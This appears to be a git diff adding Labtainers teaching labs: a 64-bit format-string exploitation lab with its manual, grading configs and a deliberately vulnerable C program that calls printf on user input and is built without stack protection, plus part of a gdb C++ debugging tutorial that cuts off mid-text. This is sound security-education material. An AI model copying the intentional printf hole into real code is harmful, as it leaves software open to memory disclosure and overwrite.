printf function vulnerabilities in a 64-bit application. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/keywords.txt new file mode 100644 index 000000000..2f2386faf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/keywords.txt @@ -0,0 +1,3 @@ +printf +vulnerability +exploit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/parameter.config new file mode 100644 index 000000000..51938da9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format + +# The following are meant for format string vulnerability lab +SECRET2 : RAND_REPLACE: /home/ubuntu/vul_prog.c : SECRET2_VALUE : 0x41 : 0x5a + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/start.config new file mode 100644 index 000000000..e2e82b4c5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/config/start.config @@ -0,0 +1,19 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER format64 + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED format64_mike_seed + +# Container nickname and settings +CONTAINER format64 + USER ubuntu + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/dockerfiles/Dockerfile.format64.format64.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/dockerfiles/Dockerfile.format64.format64.student new file mode 100644 index 000000000..dd149f06d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/dockerfiles/Dockerfile.format64.format64.student @@ -0,0 +1,15 @@ +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/Makefile new file mode 100644 index 000000000..c390175ed --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/Makefile @@ -0,0 +1,8 @@ +format64.pdf: format64.tex header.tex + latex format64 + pdflatex -jobname=format64 format64 + pdflatex -jobname=format64 format64 + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/format64.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/format64.pdf new file mode 100644 index 000000000..fd499eeda Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/format64.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/format64.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/format64.tex new file mode 100644 index 000000000..9c9dab7c8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/format64.tex @@ -0,0 +1,89 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Format String: 64 Bit Application} +\vspace{0.1in}\\ +\end{center} + +\section{Overview} +The {\tt formatstring} lab introduced you to {\tt printf} vulnerabilities and potential exploits of those +vulnerabilities. That lab included a vulnerable program that ran as a 32-bit x86 application. +This lab includes that same source code with one change, however it compiles and runs as a 64-bit application. + +\subsection {Background} +The student is expected to have an understanding of the Linux command line, and some amount of low level programming. +It is expected that the student will have completed the {\tt formatstring} lab. + +\section{Lab Environment} +\label{environment} +This lab runs in the Labtainer framework, +available at http://nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer format64 +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +The home directory of the resulting computer contains the source code of the vulnerable +program ({\tt vul\_prog.c}) and an executable instance of the program. + +\section{Tasks} + +A learning objective of this lab is to appreciate some of the differences between 32-bit and 64-bit x86 applications, +and how those differences might affect printf vulnerabilities and exploits. Program descriptions and background +material on {\tt printf} behavior are not repeated here. Refer to the {\tt formatstring} lab manual to refresh +your memory. + +As with the first task of the {\tt formatstring} lab, address space layout randomization ASLR) will be +enabled in this lab: +\begin{verbatim} + sudo sysctl -w kernel.randomize_va_space=2 +\end{verbatim} + +\subsection{Explore} +Review the {\tt vul\_prog.c} source code and note its single difference from the version found in the +{\tt formatstring} lab. Based on your experience with the {\tt formatstring} lab, explain why this +source code change was made. + +Use the {\tt file} command to display properties of the {\tt vul\_prog} executable. +Run the {\tt vul\_prog} and observe how its interface looks the same as the version from the {\tt formatstring} lab. +Execute the program within gdb and explore the stack structures at different points in the program execution. Use +the gdb disassemble directive to view the assembly language instructions. + +\subsection{Task 1: Exploit the vulnerability} +The program has the two secret values stored in its memory as were found in the {\tt formatstring} lab. +You will perform a subset of the tasks from the {\tt formatstring} lab, specifically: + +\begin{itemize} +\item Print out the secret[1] value. +\item Modify the secret[1] value to equal 0xa. +\end{itemize} + +For this lab task, you are not to modify the code. Namely, you need to achieve +the above objectives without modifying the vulnerable code. The order and sequence in which +you achieve the objectives does not matter. Feel free to explore and experiment as long as you +succeed in each at least once. + +\subsection{Task 2: Memory randomization} +In the {\tt formatstring} lab, you modified the source code to eliminate setting the {\tt input\_int} +variable from user input. You also disabled ASLR to simplify the process of exploiting the program. +Your exploit technique then embedded the secret's address within the input string. That technique +will not work in this 64-bit environment. Why is that? What is the broader implication for 64-bit +programs? + +\section{Submission} +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + +\copyrightnotice + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/header.tex new file mode 100644 index 000000000..9a636a2b9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/header.tex @@ -0,0 +1,118 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under sponsorship from + the DoD CySP program. This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/read_first.txt new file mode 100644 index 000000000..a90095e8c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/docs/read_first.txt @@ -0,0 +1,6 @@ +buf64 lab-- Read this first + +The lab manual for this lab is at: +file://LAB_DOCS/format64.pdf +Right click on the above link to open the lab manual. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/_bin/fixlocal.sh new file mode 100755 index 000000000..a150efd76 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/_bin/fixlocal.sh @@ -0,0 +1,3 @@ +#!/bin/bash +cd $HOME +gcc -fno-stack-protector -g -o vul_prog vul_prog.c diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/_bin/precheck.sh new file mode 100755 index 000000000..54b45d552 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/_bin/precheck.sh @@ -0,0 +1 @@ +sudo sysctl kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/_system/sbin/faux_init similarity index 100% rename from modules/utilities/unix/labtainers/files/Labtainers-master/labs/dmz-lab/remote_ws/_system/sbin/faux_init rename to modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/_system/sbin/faux_init diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/vul_prog.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/vul_prog.c new file mode 100644 index 000000000..2c1d49cf9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/format64/vul_prog.c @@ -0,0 +1,42 @@ +/* vul_prog.c */ + +#include +#include + +#define SECRET1 0x40 +#define SECRET2 SECRET2_VALUE + +int main(int argc, char *argv[]) +{ + char user_input[100]; + int *secret; + int *address_fix; /* hack to keep scanf delimiters out of addresses */ + long int int_input; /* this was an int in formatstring; all other code is the same. */ + int a, b, c, d; /* other variables, not used here.*/ + + /* The secret value is stored on the heap */ + address_fix = (int *) malloc(2*sizeof(int)); + secret = (int *) malloc(2*sizeof(int)); + + /* getting the secret */ + secret[0] = SECRET1; secret[1] = SECRET2; + + printf("The variable secret's address is 0x%x (on stack)\n", (unsigned int)&secret); + printf("The variable secret's value is 0x%x (on heap)\n", (unsigned int)secret); + printf("secret[0]'s address is 0x%x (on heap)\n", (unsigned int)&secret[0]); + printf("secret[1]'s address is 0x%x (on heap)\n", (unsigned int)&secret[1]); + + printf("Please enter a decimal integer\n"); + scanf("%d", &int_input); /* getting an input from user */ + printf("Please enter a string\n"); + scanf("%s", user_input); /* getting a string from user */ + + /* Vulnerable place */ + printf(user_input); + printf("\n"); + + /* Verify whether your attack is successful */ + printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2); + printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]); + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/instr_config/goals.config new file mode 100644 index 000000000..b260480fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/instr_config/goals.config @@ -0,0 +1,12 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + +# DOC: was the secret2 value leaked? +_leaked_secret = matchany : string_contains : leaked_secret1 : parameter_ascii.SECRET2 +_aslr_on = matchany : string_equal : aslr : answer=2 +# DOC: was the secret2 value modified? +modify_specific = matchany : string_equal : newsecret1value : answer=0xa +# DOC: secret leaked with ASLR enabled? +leaked_secret = boolean : ( _aslr_on and _leaked_secret ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/instr_config/results.config new file mode 100644 index 000000000..459fb83c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/format64/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + +origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: +aslr = precheck.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/keywords.txt new file mode 100644 index 000000000..2f2386faf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/config/keywords.txt @@ -0,0 +1,3 @@ +printf +vulnerability +exploit diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Format_String.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Format_String.tex index 3438d2f22..ef47cd3be 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Format_String.tex +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Format_String.tex @@ -37,14 +37,17 @@ is very dangerous because it can allow users to modify internal variables of the program, and thus change the behavior of the program. +This lab builds off of concepts explored in the \textit{printf} lab. While +the printf lab is not a necessary prerequisite, it may help students who +don't have experience with printf memory references. In this lab, students will be given a program with a format-string vulnerability; their task is to develop a scheme to exploit the vulnerability. In addition to the attacks, students will be guided to walk through a protection -scheme that can be used to defeat this type of attacks. +scheme that can be used to defeat this type of attack. Students need to evaluate -whether the scheme work or not and explain why. +whether the scheme will work or not and explain why. \subsection{Getting Started} @@ -62,7 +65,7 @@ described below be in your home directory. \section{Lab Tasks} \subsection{Task 1: Exploit the vulnerability} -Before beginning this task, nsure that Address Space Layout Randomization (ASLR) is enabled: +Before beginning this task, ensure that Address Space Layout Randomization (ASLR) is enabled: \begin{verbatim} sudo sysctl -w kernel.randomize_va_space=2 \end{verbatim} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Makefile index 8cebd2d5e..5a98e6813 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Makefile +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/Makefile @@ -1,5 +1,6 @@ formatstring.pdf: Format_String.tex header.tex pdflatex -jobname=formatstring Format_String + pdflatex -jobname=formatstring Format_String clean: rm -fr auto diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/formatstring.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/formatstring.pdf index 527a69725..f2b0d3ce4 100644 Binary files a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/formatstring.pdf and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/docs/formatstring.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/goals.config index 942408df1..d78ff3f98 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/goals.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/goals.config @@ -9,7 +9,6 @@ # DOC: whether the student crashed the program crash = count_greater : 0 : ( _crash_smash, _crash_sig, _crash_seg ) -# DOC: was the secret2 value leaked? _leaked_secret = matchany : string_contains : leaked_secret1 : parameter_ascii.SECRET2 # DOC: was the secret2 value modified? modify_value = matchany : string_diff : newsecret1value : result.origsecret1value @@ -19,7 +18,7 @@ modify_specific = matchany : string_equal : newsecret1value : answer=0xa _in_lines_2 = matchany : string_equal : input_lines : answer=2 # was ASLR enabled? _aslr_on = matchany : string_equal : aslr : answer=2 -# DOC: secret leaked with ASLR enabled? +# DOC: secret2 leaked with ASLR enabled? leaked_secret = boolean : ( _aslr_on and _leaked_secret ) -# DOC: secret leaked with ASLR no scanf, and ASLR disabled? +# DOC: secret2 leaked with scanf removed and ASLR disabled? leaked_no_scanf = boolean : ( (_in_lines_2 and _leaked_secret) and_not _aslr_on ) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/results.config index f55e872f5..0642eca37 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/results.config +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/formatstring/instr_config/results.config @@ -2,11 +2,11 @@ # # Please see the Labtainer Lab Designer User Guide -_crash_sig = vul_prog.stdout : CONTAINS : program exit, segmentation -_crash_smash = vul_prog.stdout : CONTAINS : *** stack smashing detected -_crash_seg = vul_prog.stdout : CONTAINS : Segmentation fault -origsecret1value = vul_prog.stdout : 6 : STARTSWITH : The original secrets: -newsecret1value = vul_prog.stdout : 6 : STARTSWITH : The new secrets: -leaked_secret1 = vul_prog.stdout : LAST : NEXT_STARTSWITH : The original secrets: -input_lines = vul_prog.stdin : LINE_COUNT +_crash_sig = *.stdout : CONTAINS : program exit, segmentation +_crash_smash = *.stdout : CONTAINS : *** stack smashing detected +_crash_seg = *.stdout : CONTAINS : Segmentation fault +origsecret1value = *.stdout : 6 : STARTSWITH : The original secrets: +newsecret1value = *.stdout : 6 : STARTSWITH : The new secrets: +leaked_secret1 = *.stdout : LAST : NEXT_STARTSWITH : The original secrets: +input_lines = *.stdin : LINE_COUNT aslr = precheck.stdout : 3 : STARTSWITH : kernel.randomize_va_space diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/about.txt new file mode 100644 index 000000000..430d52d10 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/about.txt @@ -0,0 +1 @@ +Use gdb to debug a simple C++ program. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/keywords.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/keywords.txt new file mode 100644 index 000000000..2b2671d32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/keywords.txt @@ -0,0 +1,2 @@ +gdb +debug diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/start.config new file mode 100644 index 000000000..b330ce1e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/config/start.config @@ -0,0 +1,37 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED gdb-tutorial_mike_master_seed + + # Uncomment and change to match your registry (if not labtainers) + #REGISTRY your_registry + # Uncomment and change to match the registry of base images (if not labtainers) + #BASE_REGISTRY your_registry + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER gdb-cpp + USER ubuntu + X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/dockerfiles/Dockerfile.gdb-cpp.gdb-cpp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/dockerfiles/Dockerfile.gdb-cpp.gdb-cpp.student new file mode 100644 index 000000000..c85505a81 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/dockerfiles/Dockerfile.gdb-cpp.gdb-cpp.student @@ -0,0 +1,73 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base2 +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here, e.g., +# RUN apt-get update && apt-get install -y --no-install-recommends somepackage +# +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/Makefile new file mode 100644 index 000000000..6994f6cc1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/Makefile @@ -0,0 +1,8 @@ +gdb-cpp.pdf: gdb-cpp.tex header.tex + latex gdb-cpp + pdflatex -jobname=gdb-cpp gdb-cpp + pdflatex -jobname=gdb-cpp gdb-cpp + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/gdb-cpp.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/gdb-cpp.pdf new file mode 100644 index 000000000..fd52f6aeb Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/gdb-cpp.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/gdb-cpp.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/gdb-cpp.tex new file mode 100644 index 000000000..0745159f2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/gdb-cpp/docs/gdb-cpp.tex @@ -0,0 +1,190 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Debugging a C++ program under Unix: gdb Tutorial} +\vspace{0.1in}\\ +\end{center} + +\section{Overview} +This tutorial was originally written for CS 342 at Washington University by Andrew Gilpin. + +This tutorial is intended to help a programmer who is new to the Unix/Linux environment to get started with using the gdb debugger. This tutorial assumes you already know how to program in C++ and you can compile and execute programs. It also assumes that you basically know what a debugger is and are motivated to use one. + +\section{Lab Environment} +\label{environment} +This lab runs in the Labtainer framework, +available at http://nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer gdb-cpp +\end{verbatim} +\noindent A link to this lab manual will be displayed. +\section{Source code} +To help illustrate some of the debugging principles we will use a running example of a buggy program. As you progress through this tutorial, you will use the debugger to locate and fix errors in the code. The code and a simple makefile is located on the gdb-cpp computer that starts when you run this lab. +The code is very simple and consists of two class definitions, a node and a linked list. There is also a simple driver to test the list. All of the code was placed into a single file to make illustrating the process of debugging a little easier. + +The program and makefile are on the computer created when the lab starts, and can be seen in the home directory. + +\section{Background} +Debugging is something that can't be avoided. Every programmer will at one point in their programming career have to debug a section of code. There are many ways to go about debugging, from printing out messages to the screen, using a debugger, or just thinking about what the program is doing and making an educated guess as to what the problem is. +Before a bug can be fixed, the source of the bug must be located. For example, with segmentation faults, it is useful to know on which line of code the seg fault is occuring. Once the line of code in question has been found, it is useful to know about the values in that method, who called the method, and why (specifically) the error is occuring. Using a debugger makes finding all of this information very simple. + +\section{Tasks} +\subsection{Build and run} +Go ahead and make the program for this tutorial, and run the program. The program will print out some messages, and then it will print that it has received a segmentation fault signal, resulting in a program crash. Given the information on the screen at this point, it is near impossible to determine why the program crashed, much less how to fix the problem. We will now begin to debug this program. + +\subsection{Loading a program in gdb} +So you now have an executable file (in this case main) and you want to debug it. First you must launch the debugger. The debugger is called gdb and you can tell it which file to debug at the shell prompt. So to debug main we want to type gdb main. + +gdb is now waiting for the user to type a command. We need to run the program so that the debugger can help us see what happens when the program crashes. Type run at the (gdb) prompt. Here is what you should see when you run the command: +\begin{verbatim} +(gdb) run +Starting program: /home/ubuntu/main +Creating Node, 1 are in existence right now +Creating Node, 2 are in existence right now +Creating Node, 3 are in existence right now +Creating Node, 4 are in existence right now +The fully created list is: +4 +3 +2 +1 + +Now removing elements: +Creating Node, 5 are in existence right now +Destroying Node, 4 are in existence right now +4 +3 +2 +1 + + +Program received signal SIGSEGV, Segmentation fault. +0x000055555555586c in Node::next (this=0x0) at main.cc:28 +28 Node* next () const { return next_; } + +(gdb) +\end{verbatim} +The program crashed so lets see what kind of information we can gather. +Inspecting crashes +We can see the that the program was at line 28 of main.cc, that this points to 0, and we can see the line of code that was executed. But we also want to know who called this method and we would like to be able to examine values in the calling methods. So at the gdb prompt, we type backtrace which gives the following output: + +\begin{verbatim} +(gdb) backtrace +#0 0x000055555555586c in Node::next (this=0x0) at main.cc:28 +#1 0x0000555555555763 in LinkedList::remove (this=0x55555556aeb0, + item_to_remove=@0x7fffffffe43c: 1) at main.cc:77 +#2 0x00005555555553b1 in main (argc=1, argv=0x7fffffffe558) at main.cc:120 +(gdb) + +\end{verbatim} +So in addition 